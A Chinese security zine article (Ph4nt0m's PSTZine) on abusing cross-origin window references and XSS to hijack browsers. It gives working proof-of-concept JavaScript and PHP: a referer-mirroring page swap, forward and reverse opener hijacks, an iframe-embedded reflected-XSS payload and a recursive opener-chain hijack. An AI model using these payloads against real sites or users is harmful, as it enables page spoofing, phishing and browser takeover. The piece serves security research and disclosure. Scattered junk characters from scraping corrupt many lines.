[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==

                       Issue 0x03, Phile #0x05 of 0x07
. _2 K4 T% E3 r: o+ B
7 t: {8 G6 u% f
|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[      By rayh4c     ]=---------------------------=|
7 r4 n. k6 ?6 r1 S& Z2 `5 F1 o3 J: D|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
! ^& s# t5 u. J: S; E|=---------------------------------------------------------------------------=|


3 a8 P1 W. v- t, |% n& `[目录]
; L- T% R, r* b* `* Q
1. 前言
8 C8 }5 Q; [4 p4 R" y1 F1 e2. 同源策略简叙
4 @+ I) b7 O" E* @$ Z) a1 R: z0 H3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
/ m6 h6 W8 U- Z* f- g  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
  o% J8 R4 K6 e+ K  6.1 正向跨窗口劫持
; S6 b3 q4 s! K/ \7 \5 A  6.2 反向跨窗口劫持
  6.3 极度危险的跨框架窗口引用劫持
4 {; _; e& |8 G% a3 e7 a$ i1 ~  6.4 极度危险的正反向跨窗口递归劫持
  6.5 完全控制浏览器
7. 后记
8. 参考

! f! r- f5 q! A0 H6 |  O
一、前言
, L+ P. x+ {& U0 t7 ]9 p7 W
    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
8 T- y( {0 `. D0 r$ `- Z9 x6 w. J7 D友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
1 M5 Q/ o4 ?  D+ r- [$ o# I1 w3 h劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
6 J' G* e2 S/ ~; V7 m! c条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。

+ X9 p6 {7 u$ i; |# k, e" ?- |
$ q# H9 \+ K$ J2 R& H- v2 x1 X二、同源策略简叙

3 x+ }2 e7 r8 S4 ]/ B, v    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
  u& M. W7 d2 \. @从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
! ^, [4 t" i" t" r/ G马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
0 c# G" c' V# @  Q  I1 b漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。

" ~3 {) i. M( ?2 j. f1 `4 w2 ^
三、理解window对象的同源策略

    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
0 D  C0 f; Y! v5 X5 j0 s; J象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：
! p5 m8 R6 J3 H) T, E
--code-------------------------------------------------------------------------
<script language="javascript">
for(p in window) document.write(p+"<br>");
1 }2 H( I$ p% g1 N( n6 j$ ^, E( f, A</script>
4 G3 h1 N" |$ t0 D- J-------------------------------------------------------------------------------

    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
! @5 Z/ \$ m; [" k+ C法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
这些属性和方法就必须遵循同源策略。
& k8 I/ z, h: Q' K; e
    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
+ C: N  V/ _8 U4 M0 J8 z么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
. ~( r; M" n" H4 j/ A% K的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
1 |$ U9 @/ s6 {! F个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
9 B, {3 p  L/ ]' P7 G属性并没有被拒绝访问。
' O' ^# X: Y) \3 K
+ [0 g. Z: u, [3 a--demo.html--------------------------------------------------------------------
+ Y9 H1 ?! [" O+ s$ H<script language="javascript">   
/ P- N3 A- l' G5 Nfunction allPrpos(obj) {      
! z7 _1 U! y% G& E1 k      var props = "<table><tr><td>名称</td><td>值</td>";           
( Y% N' f1 l- B6 a- i) s5 q) J      for(var p in obj){         
            if(typeof(obj[p])=="function"){   
                   obj[p]();   
' L+ H4 v3 i: ^# T! j; R) h' |2 k; f             }else{                     
                  try   
8 M. M/ t7 S$ d5 K                   {   
2 Z2 M+ H2 ?$ G. Z                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
2 I# Q. @+ G1 S                   }   
                  catch (ex)   
                   {   
                  
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
                   }   
                       
             }   
       }   
- _/ j! c6 {0 {4 S   
       document.write(props+"</table>");   
}   
   
2 h) R  H9 z+ z) Q' ^+ U/ {7 J/ [function createWin() {
        newWin = window.open ("http://www.google.com");  
2 B9 M$ S- a  H+ v- N        setTimeout(function(){allPrpos(newWin)},2000);
; U) A  E9 a, B9 A  f) x}
: i% d$ t7 R7 l% d
9 Z4 N; \. o0 ?7 D</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
% o# y) F, A+ y, Q

# G7 ?4 E: O- _, r四、窗口引用功能中的同源策略漏洞
' F6 M* b6 \9 l$ _
4 @7 M) D" a0 W, ^0 W7 A9 I+ H4.1 父窗口引用子窗口的同源策略问题
9 X# c. Q+ N* k) _* \  E
    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
$ K' f) h' T2 P8 t/ W但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
. k! `4 y0 ^. p行测试，会发现父窗口可以控制非同源子窗口location属性值。

. S: t3 Y7 C$ z1 b& j--vul1.html--------------------------------------------------------------------
  [  X0 q4 B/ z$ l" I* h<script language="javascript">
function createWin() {  
        newWin = window.open ("http://www.google.com");  
* b- @2 @* d5 v5 L+ B9 n' }        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
  }: p# v- W, Y6 M, }  U}
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
6 F4 S- `, }( _

4.2 子窗口引用父窗口的同源策略问题
* \4 W" g, x5 o, S% A4 Z- ?3 I
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
- u' ?! q4 t4 j! d4 n可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。
# c- u# C4 `3 Q' c: D
3 |* P% z0 m. b% b--code-------------------------------------------------------------------------
2 R# _1 P0 ?& z( F: U& B
- H6 N9 F! ^* I2 e  ?& A9 C# Qjavascript:window.opener.location = "http://www.80sec.com";void(0);
- J8 N0 D" k1 }" y! k6 L
+ C1 I; @( h. T  t  g6 A' a-------------------------------------------------------------------------------

. B) H4 N% t" ?) _. s
五、利用窗口引用漏洞劫持浏览器

4 z5 v. {2 o, {- y0 I7 ^    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
  W. b+ J- b3 F" u* D5 E: g么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
+ B! V1 x1 v: }7 O. l+ ^* f& g  d; [生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
: G( K/ J5 N+ e, V- v者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
' k5 C+ n! \. D* b: o后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
会产生什么可怕的后果。
/ x& }2 n' j1 d5 _  D
4 b5 D5 u+ b4 N  v9 q. h$ v7 b    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
以做更多的事情，所有的一切仅仅是因为点击了一个链接。

  P5 }7 D4 R# A* ], j! B8 q--hjk_ref.php------------------------------------------------------------------
<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
& K: y# H6 C% F  o0 |; o}
1 P$ c/ n( g5 eif(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
: C0 o1 r0 J4 i) ]. e; d}
?>

; p+ H: }- A" R6 z# [6 Z, E( u<script language="javascript">
& u. L3 b( D8 z3 E- M) Z& HsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
$ k3 s/ ~) T, w0 u8 v/ r+ e</script>
-------------------------------------------------------------------------------
! {6 {5 s; s+ D) D1 P0 ?
  s# o2 ]8 ]+ I& b6 l6 H    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
/ E; H% y6 n+ |' a) ^# M
  z% w7 j+ v2 E. @) Q, X* N: [
六、利用XSS漏洞劫持浏览器
4 B! _! h  W- [4 \
; r) T4 k& u& x' f% I2 c    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
) f- t- c  w$ v讨论跨站师的终极技巧：
% [% d! F$ W& Z9 T; j" k

; N0 |& W# k- n3 w5 r6.1 正向跨窗口劫持

    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
+ D8 y/ k: [  ^  \+ Q框脚本。
$ c4 |/ X6 A( k( k# j% ~* ^2 N$ V. D
--hijack_open.js---------------------------------------------------------------

javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
2 ]$ A6 f3 P% s* r6 G8 h
2 t3 l' g; e" z: y8 j* e7 i-------------------------------------------------------------------------------

- |) q6 V5 W$ B' N; L
( X# h( n/ q0 g" k6.2 反向跨窗口劫持
7 B( b* c) I' l4 D
- V3 p, ~' x" c+ p    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
框脚本。

! Z% R# p" j. \  Q0 c5 B4 Z* @--hijack_opener.js-------------------------------------------------------------

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

3 K! G; [2 Z/ c: q1 f-------------------------------------------------------------------------------
$ X$ o& M- N0 S9 m9 f

6 y2 w+ U0 R# S6.3 极度危险的跨框架窗口引用劫持

; ^' U1 e3 ?! a- ^9 V2 j% d3 ~: w( W    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
: J- H- q% m  G+ e1 S& b非持久型的XSS，如下：
( G  [9 ?! Y! j/ e: R4 u
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>

    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。
2 T5 e# s& g. K; w6 j( A
--hijack_frame_opener.js-------------------------------------------------------
<script>
9 V8 S: e7 S. v+ V) f' Awindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
. [, ]) B8 z* \7 R; F; k, K( O</script>
* ^3 \7 |% o3 P2 |  E8 u-------------------------------------------------------------------------------
; J* H- x1 H/ u

; ^8 t3 _& a+ M( I* |4 k& \6.4 极度危险的正反向跨窗口递归劫持
  b- j& x+ u5 e% K. J
    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
) n0 G4 K% G3 y$ ]3 v3 Q) G- K6 x% x的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
$ b& j* |* a+ L7 J5 ]异常处理规避之间跨域页面的访问异常，代码如下：
% u6 P  e; Y- T" F* p
--code-------------------------------------------------------------------------

6 P2 x+ w/ \! P: l( |  W. p  D# ojavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

-------------------------------------------------------------------------------

0 j* f$ x- U0 _    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
6 t7 P; Y% g& R以劫持B域之前的A域页面，从而实现“隔空打击”。
7 p) ~, X9 c4 r$ D
    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。
) t2 y" g7 c$ _0 h- h. t% R
+ H( |1 r3 b/ f4 c& h  }" i    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。
3 y- r: I6 Q8 x: C9 V) a) E
! Q( ?  G* P; @4 `5 O* ?
6.5 完全控制浏览器

    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
0 c/ d$ e2 Z' B5 ~* z( i是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
6 @, d3 p- u8 N7 C漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
5 l9 H6 `" L( b0 D( x而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
- C/ u  g" R, R8 i5 S7 L师的终极目标 - 完全控制浏览器。

7 f/ h; x- h; o# s$ k) W
七、后记

7 U* h6 ^, S+ r    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
/ ~$ }, B# ~: W& j4 ]+ {. B与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
& {! X  g4 _) o. L- A: M' i过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
- e4 K" t( S/ e. p/ S2 z' u/ L, e/ M
6 J$ A# q' }7 e- t- Y
! M/ F2 v" u5 @6 a0 B; m% _八、参考

0 J$ k" n* q6 G2 G1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browser ... licy_for_DOM_access
6 J' g& `' p0 a) C$ I1 N3. http://www.w3.org/TR/Window/
* P: x8 S; q% T# R) p4. http://www.80sec.com/release/browser-hijacking.txt
/ d0 h' z  A3 G, Y5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

0 ^6 M- U: F3 Q! A% a-EOF-